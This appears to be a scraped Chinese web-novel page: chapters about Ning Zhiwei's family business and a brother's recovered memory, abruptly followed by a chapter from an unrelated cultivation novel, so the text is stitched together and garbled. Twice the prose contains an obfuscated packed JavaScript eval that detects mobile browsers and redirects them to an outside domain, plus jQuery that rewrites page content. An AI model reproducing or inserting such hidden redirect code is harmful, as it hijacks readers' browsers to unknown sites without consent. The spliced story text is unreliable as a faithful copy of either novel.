l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498112|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食。”她原本没想过跟沈良远合作,人家可是商界大佬,怎么会看得上她这点小买卖。 没想到沈良远眼睛一亮:“能让我尝尝吗?” 宁芷薇递给他一包醉香兔。沈良远迫不及待地打开,香辣的气味顿时四散开来。他尝了一口,立刻被辣得直吸气,但又忍不住连吃了好几块。 “九嫂,这味道绝了!”他一边吃一边赞叹,“不如咱们合作如何?我在郡城有几家酒楼,这醉香兔要是能在那里卖,肯定能大赚一笔。” 宁芷薇心中一动。有个未来的大商人合作,确实比自己跑腿强。而且沈良远在商场上的名声不错,为人也算靠谱。 “沈兄弟请进,咱们详谈。”秦远霄把骡车牵回院子,三人进了屋。 “九嫂,这吃食叫什么名字?”沈良远一进屋就迫不及待地问。 “醉香兔,因为冷着吃更好吃。”宁芷薇解释道,“热着吃也行,但冷了以后,肉质更紧实,味道也更浓郁。” “好名字!简单大气。”沈良远连连点头,“不知九嫂打算卖多少钱?” “一包一百文。”宁芷薇直接开价。这个价格她考虑过,既不会太贵让人望而却步,也能保证一定的利润。 沈良远暗自盘算,这么好的味道,到了酒楼起码能卖一两银子。一两银子是一千文钱,就算去掉各种成本,利润也相当可观。 “成交!您这有多少我全要了。”他毫不犹豫地答应。 “今天有七十九包。”宁芷薇道,“刚才那包就当请唐兄弟品尝了。” 沈良远也不客气,他心里已经有了打算。这醉香兔不仅可以在酒楼卖,还能作为下酒菜推广到各个酒肆。到时候供不应求,价格自然水涨船高。 谈完醉香兔的事,他又问起绣偶的进度。这些绣偶是他之前订的,准备在郡城开设一家专门卖玩具的铺子。 宁芷薇出去问了问,回来告诉他已经做了一百五十个。沈良远大喜,立刻让人装好货物,急匆匆地赶往郡城。 看着沈良远离开的背影,宁芷薇若有所思。这次合作要是成功了,以后就不用天天进城卖货,能省下不少力气。而且有了固定的销路,她也能安心做更多新品出来。 第一百一十六章 几天之后,沈良远又来拜访。 宁芷薇抬眸看向眼前的年轻人,声音轻缓:“沈兄弟,这是何意?” “九嫂!”沈良远搓了搓手,脸上洋溢着掩饰不住的喜悦,“醉香兔在郡城可真是大受欢迎啊!我每份卖二两银子,这是咱们的分成。”他顿了顿,认真道:“日后凡是跟你一起做的买卖,我都尽量五五分账。” 宁芷薇微微颔首,将银子收下。年轻人懂得感恩,倒是难得。“那就多谢沈兄弟了。” 与下文重复描写 “九嫂太客气了!”沈良远搓着手,眼中闪烁着期待,“我听说您还有别的新点子?要不咱们...” 宁芷薇轻轻摇头,打断了他的话:“眼下公兔都用完了,得等到年后才能继续做这门生意。” 沈良远有些失望,但很快又打起精神:“那好,等年后我再来找九嫂商量。”说完,他匆匆告辞离去。 院中重归寂静,宁芷薇独自坐在石凳上,手指无意识地摩挲着银子。虽说界阙里银钱不计其数,但这笔来之不易的收入还是让她心中泛起一丝异样的情绪。 这时外面突然传来一阵喧哗声。 “不好了!不好了!”小丫鬟慌慌张张地跑进来,“老爷晕倒了!” 宁芷薇心头一紧,顾不得其他,快步向外跑去。 堂屋里,秦老爷面色苍白地躺在榻上,秦远霄正在一旁急得团团转。 “让我看看。”宁芷薇快步上前,仔细查看秦老爷的情况。 她从界阙里取出银针,开始为秦老爷施针。渐渐地,秦老爷的脸色好转了些。 “无大碍,”宁芷薇收起银针,“只是操劳过度,需要好好休养。” 秦远霄松了口气:“多亏有娘子在。” 宁芷薇摇摇头:“老爷年纪大了,不能再这么操劳。”她顿了顿,“远霄,你得多分担些家务了。” 秦远霄郑重点头:“娘子放心。” 夜深了,宁芷薇坐在房中,借着烛光翻看账本。突然,外面传来轻轻的脚步声。 “娘子还没睡?”秦远霄推门进来。 宁芷薇抬头看他:“你不是去照顾老爷了吗?” “爹已经睡了,”秦远霄在她身边坐下,“娘子,你也该休息了。” 宁芷薇合上账本:“我在想,咱们得想办法让老爷安心养病。” 秦远霄沉默片刻:“娘子说得对,是我不够上心。” 宁芷薇看着他疲惫的面容,心中一软:“你也累了一天,快去休息吧。” 秦远霄却没有动:“娘子,我...”他欲言又止。 “怎么了?”宁芷薇问道。 秦远霄深吸一口气:“娘子,我知道自己不够优秀,但我会努力的。” 宁芷薇愣了一下,随即笑道:“你已经很好了。” 月光从窗外洒进来,照在两人身上,映出一片温柔的光晕。 次日一早,宁芷薇就又带着嫂嫂们开始制作兔皮绣偶。她们分工明确,有人负责裁剪,有人负责缝制,还有人负责装饰。 “九弟妹,”三嫂举起一个做好的绣偶,“你看这个行不行?” 宁芷薇仔细检查:“缝线要再细密些,这样才不容易开线。” 正忙着,外面传来一阵脚步声。沈良远急匆匆地跑进来:“九嫂!九嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498113|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “怎么了?”宁芷薇问道。 沈良远气喘吁吁:“郡城那边,有个大商人想要见九嫂!说是对九嫂的手艺很感兴趣!” 宁芷薇眉头微皱:“什么大商人?” “是江南来的兰家!”沈良远兴奋地说,“他们在郡城开了好几家铺子,生意做得可大了!” 宁芷薇沉思片刻:“你先回去,就说我改日亲自登门拜访。” 送走沈良远,宁芷薇继续指导嫂嫂们制作绣偶。但她的心思却飘到了别处。 江南兰家?这倒是个机会。只是...她看了看手中的绣偶,这些东西,真的能打动那些见多识广的商人吗? “九弟妹?”大嫂的声音将她拉回现实。 宁芷薇回过神来,露出一个笑容:“没事,咱们继续。” 夜幕降临,宁芷薇独自坐在院中,望着满天繁星。远处传来虫鸣声,微风拂过,带来一丝凉意。 她从怀中掏出一个绣偶,在月光下细细打量。 “娘子。”秦远霄的声音从身后传来。 宁芷薇回头,看见他端着一碗热汤:“这么晚了,你怎么还不休息?” 秦远霄将汤碗放在石桌上:“娘子忙了一天,喝点汤暖暖身子。” 宁芷薇接过汤碗,轻轻抿了一口。汤是温热的,带着淡淡的甜味。 “远霄,”她突然开口,“你说,我们和江南兰家的生意能成功吗?” 秦远霄在她身边坐下:“只要娘子想做的,我都支持。” 宁芷薇看着他坚定的眼神,心中涌起一股暖意。也许,在这个陌生的时空里,她并不是一个人在战斗。 第一百一十七章 宁芷薇站在床前,看着秦瑾高痛苦的模样,心中暗暗着急。她本以为五哥的淤血已经完全吸收,记忆恢复应该是水到渠成的事情。可眼前的情况却出乎她的意料。 秦瑾高的面容因痛苦而扭曲,额头上渗出细密的汗珠,双手紧紧抱着头,整个人蜷缩成一团。他的呼吸变得急促而紊乱,仿佛正在经历某种无法言说的折磨。 “薇薇,五哥这是怎么了?”秦远霄在一旁低声问道,眉头紧锁。 宁芷薇摇了摇头,轻声道:“恐怕是想起了什么不好的回忆。”她的手指无意识地绞在一起,眼中闪过一丝担忧。 床上的秦瑾高突然发出一声痛苦的呻吟,他的脑海中不断闪现出那些令人窒息的画面——血肉横飞的战场、惨死的将士、失控的战马......每一幕都如此真实,仿佛就发生在眼前。 “将军!快撤退!” “敌军包抄过来了!” “救救我......” 耳边回响着将士们的呐喊与哀嚎,秦瑾高的身体剧烈颤抖起来。“不......”他喃喃自语,声音中充满了痛苦与挣扎,“都是我的错......” 秦老夫人站在床边,看着儿子痛苦的模样,眼泪不住地往下掉。她颤抖着伸出手,想要抚摸儿子的额头,却又害怕打扰到他。 “瑾高,娘在这里,别怕......”秦老夫人哽咽着说道,“娘的瑾高最坚强了,一定能挺过去的......” 五嫂站在一旁,紧张地绞着手帕。她的目光一刻也不敢离开丈夫,生怕错过任何细微的变化。自从丈夫失忆以来,她就一直小心翼翼地照顾着,生怕他受到一点伤害。如今看到他如此痛苦的样子,心里更是揪得生疼。 宁芷薇仔细观察着五哥的状态,她能感受到他正在与记忆中的阴影搏斗。这种情况下,外人很难介入,只能等他自己走出来。 “五哥的身体没有问题,”她轻声对秦远霄说,“现在最重要的是让他自己面对那些记忆。” 秦远霄点点头,下意识地握住了她的手。他能感受到妻子手心传来的微微颤抖,知道她此刻也在担心。 宁芷薇望着秦老夫人和五嫂,轻声说道:“娘,五嫂,不如说些从前的事,或许能唤醒五哥的记忆。” 五嫂闻言,顾不得矜持,连忙脱了鞋子爬上火炕。她的动作有些慌乱,裙摆被炕沿勾住,险些摔倒。宁芷薇眼疾手快地扶了一把,这才让五嫂稳住身形。 “巧绮,当心些。”秦老夫人心疼地看着儿媳。自从瑾高失踪后,这个温婉贤淑的儿媳妇就像变了个人似的,整日里茶饭不思,形容枯槁。如今好不容易找到人,却又遇上这般情况。 五嫂坐在秦瑾高身边,小心翼翼地抓住他的手臂。她的手指微微颤抖,生怕眼前的一切只是南柯一梦。 秦老夫人也挪到了另一侧,婆媳二人一左一右依偎着秦瑾高。屋内炉火正旺,映得三人的影子在墙上摇曳。 “瑾高,回想当年你风华正茂?”秦老夫人眼中泛起泪光,声音有些哽咽,“那时你刚从军营回来,娘本想给你说陈家的姑娘,你却怎么都不肯...” 秦瑾高眉头紧蹙,眼神恍惚。他似乎在努力搜寻着什么,却又像是被一层迷雾笼罩,怎么也看不真切。 “那时候...”他喃喃自语,“那时候下着雨...” 五嫂眼睛一亮:“对!那天下着雨,你撑着伞站在我家门口,说什么也不肯走。” “雨...”秦瑾高的目光渐渐聚焦,“巧绮在绣楼上,我怕她着凉...” “巧绮...”他忽然低声呢喃,“我喜欢巧绮,不要什么陈家姑娘。” 五嫂再也忍不住,泪如雨下,紧紧抱住丈夫的手臂:“夫君,我就是巧绮啊!你的巧绮!” 那熟悉的声线仿佛穿透了时光的阻隔,直击秦瑾高的心底。他缓缓转头,看向妻子泪眼朦胧的脸庞。 四目相对的瞬间,记忆如潮水般涌来。 “巧绮!”他一把将妻子搂入怀中,声音里带着几分颤抖,“是我的巧绮...” 五嫂在他怀里抽泣着问:“夫君,你想起我了对不对?” “嗯,”秦瑾高收紧手臂,“你是我的妻,我的巧绮。那年雨天,你在绣楼上为我绣帕子,我怕你着凉,就在楼下守着。后来...” “后来娘知道了,说你这个傻孩子,”秦老夫人抹着眼泪接话道,“明明早就定了亲,却还要这般痴情。” 秦老夫人立刻上前,颤抖着拉住儿子的手:“瑾高,你终于醒了。可把娘担心死了......” 宁芷薇看到这一幕,悄悄松了口气。五哥不仅恢复了记忆,还成功战胜了心魔,这是最好的结果。 宁芷薇站在一旁,看着这温情脉脉的一幕。她注意到三嫂眼中闪过一丝羡慕与思念,想必是想起了已故的三哥。 她转身想要离开,给五哥和五嫂一些独处的空间,却被秦瑾高叫住。 “九弟妹。” 宁芷薇回过头,就见五哥正含笑看着她:“谢谢你。” 简单的三个字,却包含了太多感激。宁芷薇笑着摇摇头:“五哥言重了,这都是我应该做的。” 秦远霄适时上前,搂住媳妇儿的肩膀:“既然五哥已经没事了,我们就先回去吧。” 众人也应喝着,要一同离开。 “等等,我有话要说“秦瑾高的神色渐渐凝重。他松开怀中的妻子,目光扫过在场的每一个人。 “我该告诉你们这些年的事了。”他的声音低沉而沙哑。 五嫂连忙给他倒了杯热茶,秦瑾高抿了一口,缓缓开口。 “那年追击东陲败寇时,我中了埋伏。”他的眼神变得深邃,仿佛又回到了那个血腥的战场,“敌人来势汹汹,我的部下死伤惨重。” “就在我准备突围时,战马受惊失控,直接冲入了山谷深处。”他顿了顿,“那里有一片诡异的白雾。” 第一百一十八章 宁芷薇听到这里,不由得握紧了拳头。她早该想到,这一切都与那个神秘人有关。 “白雾中突然飘来一股奇异的香气,我一下子就晕了过去。”秦瑾高继续道,“再醒来时,已被铁链锁在一间阴暗的牢房中。” “那人...”他的声音带着一丝寒意,“那人总是戴着围帽,只露出一缕白发。他用蛊虫想要控制我,但我拼尽全力抵抗,最终蛊虫自行钻出。” “他见计划失败,便要杀我。我拼死挣脱锁链,被追至悬崖边,只得跳崖求生。” “后来被农家人救起,却失去了记忆。每到傍晚便会发狂,我怕伤人,便躲进深山。直到在东麓村定居,遇见你们...” 屋内一片寂静,只有炉火偶尔发出的噼啪声。 宁芷薇听完,心中五味杂陈。若非她有医术在身,五哥或许永远都回不来了。她暗自握紧了拳头,一定要查清那个神秘人的真面目。 “那人究竟是谁?为何要对你下手?”秦老夫人颤声问道。 秦瑾高摇摇头:“我只记得他说过,要让秦家付出代价。” 这句话让在场所有人都心头一震。宁芷薇眼中闪过一丝锐利的光芒,她隐约觉得,这背后或许还有更大的阴谋。 “夫君,你受苦了。”五嫂轻轻抚摸着丈夫布满伤痕的手臂,泪水又涌了出来。 秦瑾高反手握住妻子的手:“别哭了,我这不是回来了吗?” 秦老夫人抹着眼泪,紧紧握住儿子的另一只手:“是啊,回来就好,回来就好...” 宁芷薇看着这温馨的一幕,心中却难以平静。那个神秘人的身份,那句“让秦家付出代价”的威胁,还有五哥身上的蛊毒...这一切都需要她去查清楚。 夜色渐深,炉火依旧温暖。秦家终于等来了这团圆时刻,但宁芷薇知道,这或许只是另一个故事的开始。 “ 秦瑾高讲述完自己的经历,身子微微前倾,双手撑在膝上,仿佛卸下了千斤重担。窗外的阳光洒落进来,衬得他的面容不再像之前那般痛苦,眼神也变得清澈明亮。 屋内一时寂静无声,只有檐角风铃偶尔发出清脆的响动。 “老天爷总算开眼了。”秦老夫人颤抖着手擦拭眼角的泪水,声音哽咽,“逢凶化吉福运来,瑾高这一生的苦难已经受够了。”她停顿片刻,目光慈爱地看着儿子,“往后的日子定会越来越好。” 老夫人佝偻着身子,略显苍老的手指捏着帕子,轻轻摩挲着。“我这把老骨头啊,现在只想一家子平安顺遂。瑾高能想起从前的事,比什么都强。” “娘说的是。”秦瑾高从炕上起身,动作轻缓却坚定地跪在母亲面前,额头轻触地面,“儿子和八弟、九弟一定好好孝敬您。往日是孩儿不懂事,让娘操心了。” 这一幕让秦老夫人再也控制不住情绪,泪水夺眶而出。她伸手想要扶起儿子,却又收回,任由泪水模糊了视线。屋内其他女眷见状,也纷纷抹起了眼泪,空气中弥漫着浓浓的伤感。 宁芷薇站在一旁,看着这温情脉脉的一幕,心头泛起异样的感觉。她向来自诩性子要比嫂嫂们坚韧,但此刻眼眶也不禁发热。她能感受到秦家人此刻的喜悦与释然,也明白这份来之不易的团圆有多么珍贵。 空气中弥漫着令人窒息的沉重,宁芷薇轻咳一声,擦了擦微红的眼睛:“娘,嫂嫂们,五哥恢复记忆是天大的喜事。娘还念叨着让五哥给画个灶神呢?太阳都晒屁股了,不如现在就开始吧。” 她的话像一阵清风,驱散了屋内凝重的气氛。秦老夫人会意,也跟着擦干泪水,催促秦瑾高去画灶神像。 案几很快摆好,文房四宝一应俱全。秦瑾高提笔凝神,笔尖轻点宣纸,一道道线条在纸上流淌。他的动作行云流水,寥寥几笔就勾勒出了灶神的轮廓。随着时间推移,灶神的形象愈发生动,大家风范尽显无遗。 宁芷薇在一旁看得入神,突然灵光一闪。她的目光在秦瑾高和画作之间来回游移,心中已有了主意。五哥的画工如此了得,若是能让他多画些字画,挂到仙市阁店铺里售卖,想必会很受欢迎。 想到仙市阁店铺,她不禁有些愧疚。这段时间忙于家中事务,已经许久没有认真打理店铺了。平日里也就是随意看看收入变化,连那个常客古玩鉴赏家也许久未见踪影。 虽然对小年的风俗并不熟悉,但该准备的东西她和秦远霄昨日已经采买齐全。肉食来自界阙,海鲜从滨村购得,青菜也准备了几样常见品种。如今家中事务都有嫂嫂们打理,她只需要负责一些特殊菜品即可。 趁着这会儿清闲,宁芷薇找了个借口回到自己房间。确认四下无人后,她闪身进入界阙。熟悉的界阙气息扑面而来,她轻车熟路地走向库房。 库房里还堆着不少从苏县丞那里顺来的物件。这些东西虽然比不上国库中的珍品,但在这个时代也算得上是不可多得的古董了。她索性将这些东西一一拍照,细心地调整角度和光线,力求将每件物品最完美的一面展现出来。 拍摄完毕后,她开始编辑商品介绍,将这些照片上传到店铺内。就在她准备关闭手机时,屏幕突然亮起,传来消息提醒。是许久未见的古玩鉴赏家。 “老板果然厉害,又上新货了。这些物件的年代和品相都很不错。”对方的语气中带着赞叹。 宁芷薇谦虚地回复:“都是些不太值钱的东西,比不得那些真正的珍品。” “东家太低调了,古董哪有不值钱的?每一件都承载着历史的痕迹,都有其独特的价值。” “相对而言罢了。”宁芷薇心想,这些东西的定价确实比国库里那些少了一半还多。她正想着如何回复,对方又发来一条消息。 “说实话,要是我最近资金周转得开,真想把您店里的东西都买下来。可惜......” “遇到什么困难了?”宁芷薇顺口问道,没想到这一问却打开了话匣子。 古玩鉴赏家:“我家世代经营古董生意,从未遇过资金困难。只是前段时间与人合伙买了颗直径十厘米的东珠,却在展出时被盗。这东珠价值不菲,掏空了我大半家底。珠子是在我手中丢的,难免要赔偿给合伙人。” “东珠?”宁芷薇来了兴趣,“是什么样的?” “那颗东珠很特别,通体漆黑,完美得无可挑剔。经专家鉴定,是产自永安朝的珍品。而且,这颗东璧还有段鲜为人知的典故。” 黑色的东珠?宁芷薇眉头微皱,这还是她头一次听说。宽度足有一拳大小,这得是多大的蚌才能孕育出来?她继续追问:“什么典故?” “据传当年东陲战败,明德帝要求以此珠赔偿。但蜀陲皇帝因为贵妃风渠极爱这颗东璧,宁愿割让一座城池也不肯交出。这颗东珠就此成了传说。” 第一百一十九章 这段历史宁芷薇倒是第一次听说。她不禁陷入沉思,要不是她意外来到这里,改变了历史轨迹,风渠和东昭也不会在盐泊被擒获。那颗东珠现在应该还在东陲。 一个大胆的想法在她脑海中浮现:若是她能找到那颗东珠,挂在店铺里卖给古玩鉴赏家,岂不是两全其美? “如果我能找到那颗东珠,你要吗?”宁芷薇试探着问道。 消息发出去后,对面沉默了许久。就在她以为对方不会回复时,手机屏幕又亮了起来。 “那么珍贵的东珠,我动用了所有关系都没找到。”对方的语气突然变得严肃,“难道这件失窃案与你有关?” 宁芷薇早已料到,自己说出这番话定会引来质疑。她望着眼前古玩鉴赏家发来的信息,指尖轻轻敲击着桌面。 铺子里弥漫着淡淡的檀香,古朴的木质家具在暖黄的灯光下泛着柔和的光泽。窗外飘着暮雪,雨滴打在玻璃上发出轻微的响声。 “我知道这听起来很荒谬。”她停下敲击的动作,语气平静,“但我确实现在身在永安朝,你丢失的那颗东珠,我可以去东陲为你寻找。” 古玩鉴赏家嘴唇微微颤抖。他下意识地想着仙市阁的布局,墙上挂着的字画、架子上摆放的瓷器。每一件都是真品,每一件都价值连城。 “这...这不可能...”他喃喃自语,声音里带着几分颤抖,“穿越?这种事怎么可能是真的?” 宁芷薇并不急着解释,而是起身走到一旁的柜子前,拍了一只青花瓷瓶的照片发过去。瓷瓶通体洁白如玉,青花纹饰清晰精美,一看就是永安时期的宫廷御用。 “这只瓷瓶你应该很熟悉,上个月刚从我这里买走一只一模一样的。”她将瓷瓶放在桌上,“你花了五十万,转手卖了两百万。” 古玩鉴赏家的呼吸明显急促起来。没错,这确实是他上个月买到的同款瓷瓶,而且对方说的价格也分毫不差。 “我...我确实赚了不少。”他擦了擦额头的汗,“但这不能说明什么。也许你有特殊的渠道...” “特殊渠道?”宁芷薇轻笑一声,“你觉得这世上会有哪个渠道,能源源不断地提供这么多真品古董,还卖得这么便宜?” 古玩鉴赏家陷入沉默。确实,他买过太多次了,每一件都是真品,价格却低得离谱。这在古董界简直是不可能的事。 “而且,”宁芷薇继续说道,“你应该查过我的背景吧?” 对方微微点头,眼中闪过一丝尴尬。他确实派人调查过,可除了这间铺子的营业执照,什么都查不到。 “你说得对,”他深吸一口气,“我确实从未听说过古董界有你这号人物。按理说,能拿出这么多珍品的人,不可能默默无闻。” “所以,你愿意相信我了?” 古玩鉴赏家许久才发来消息:“我...我不知道。这太荒谬了,但又似乎很合理。” “没关系,你不用现在就决定。”宁芷薇轻抿一口茶,“我只是想告诉你,我确实有能力帮你找到那颗东珠。” “如果...我是说如果,”古玩鉴赏家放下茶杯,“你真的能找到,价格会是多少?” “这要看具体情况。东珠的价值你很清楚,但我需要跋涉千里去寻找,价格自然不会太低。不过,”她停顿了一下,“肯定比你现在赔偿朋友一半损失要划算得多。” 这番话正中古玩鉴赏家的心事。他确实在为赔偿发愁,如果能用更低的价格买到同样的东珠,何乐而不为? “我明白了。”他的语气明显轻松了些,“那就请您试试看吧。” 宁芷薇点点头:“不过,我现在离东陲很远,而且快过年了。就算立刻动身,也得一个月后才能到。赶得上你的期限吗?” “我那位朋友给了三个月期限。”古玩鉴赏家说着,眼中闪过一丝忧虑,“如果这段时间能找到最好。” “三个月足够了。”宁芷薇顿了顿,“不过,我可能需要你帮个忙。” “什么忙?” “去东陲路途遥远,如果有直升飞机或越野车就再好不过了。”她直视着对方的眼睛,“我知道你有这些交通工具。” 古玩鉴赏家一愣:“你连这个都知道?” “我调查过你。”宁芷薇坦然承认,“你之前确实购置过两架直升机和十几辆豪车。” “是的,不过...”他有些困惑,“该怎么给你?” “我在仙市阁购物,店铺都是直接发货。飞机和车我可以自己买,就是缺燃油。要是没问题,希望你能在仙市阁开店,把燃油卖给我。” 这个要求并不难,古玩鉴赏家立刻答应下来:“没问题,我这就去申请开店。你什么时候需要就告诉我,我会保持消息提醒开启。” “好,就这样说定了。”宁芷薇站起身,“过几天出发前我会联系你。” 送走古玩鉴赏家,她退出界阙回到现实,发现秦远霄正在房间等她。 “夫君?”她有些意外,“你怎么在这里?” 秦远霄拉着她在床边坐下,神色凝重:“我一直在想五哥的事。既然他能不受那神秘人的魇魂蛊控制,或许还活着的大哥二哥也有这种可能。” 宁芷薇握住他的手,感受到他指尖的微凉:“《幽术大全》确实提到,魇魂蛊极难养活,很多人都养不成。这考验着养蛊人的天赋和能力。” “所以你的意思是...” “五哥是秦家最早出事的,那时候对方的魇魂蛊可能还不够成熟。”她轻声解释,“但大哥二哥出事较晚,如果他们还活着,很可能已经被控制了。不然,怎会有这么多失忆的巧合?” 秦远霄沉默良久,眼中闪过复杂的情绪:“你说得对。不过不管怎样,希望他们还活着。” 宁芷薇能感受到他急切想救兄长的心情。三哥已经隐姓埋名出去打探消息,就看他能带回什么线索了。 第一百二十章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 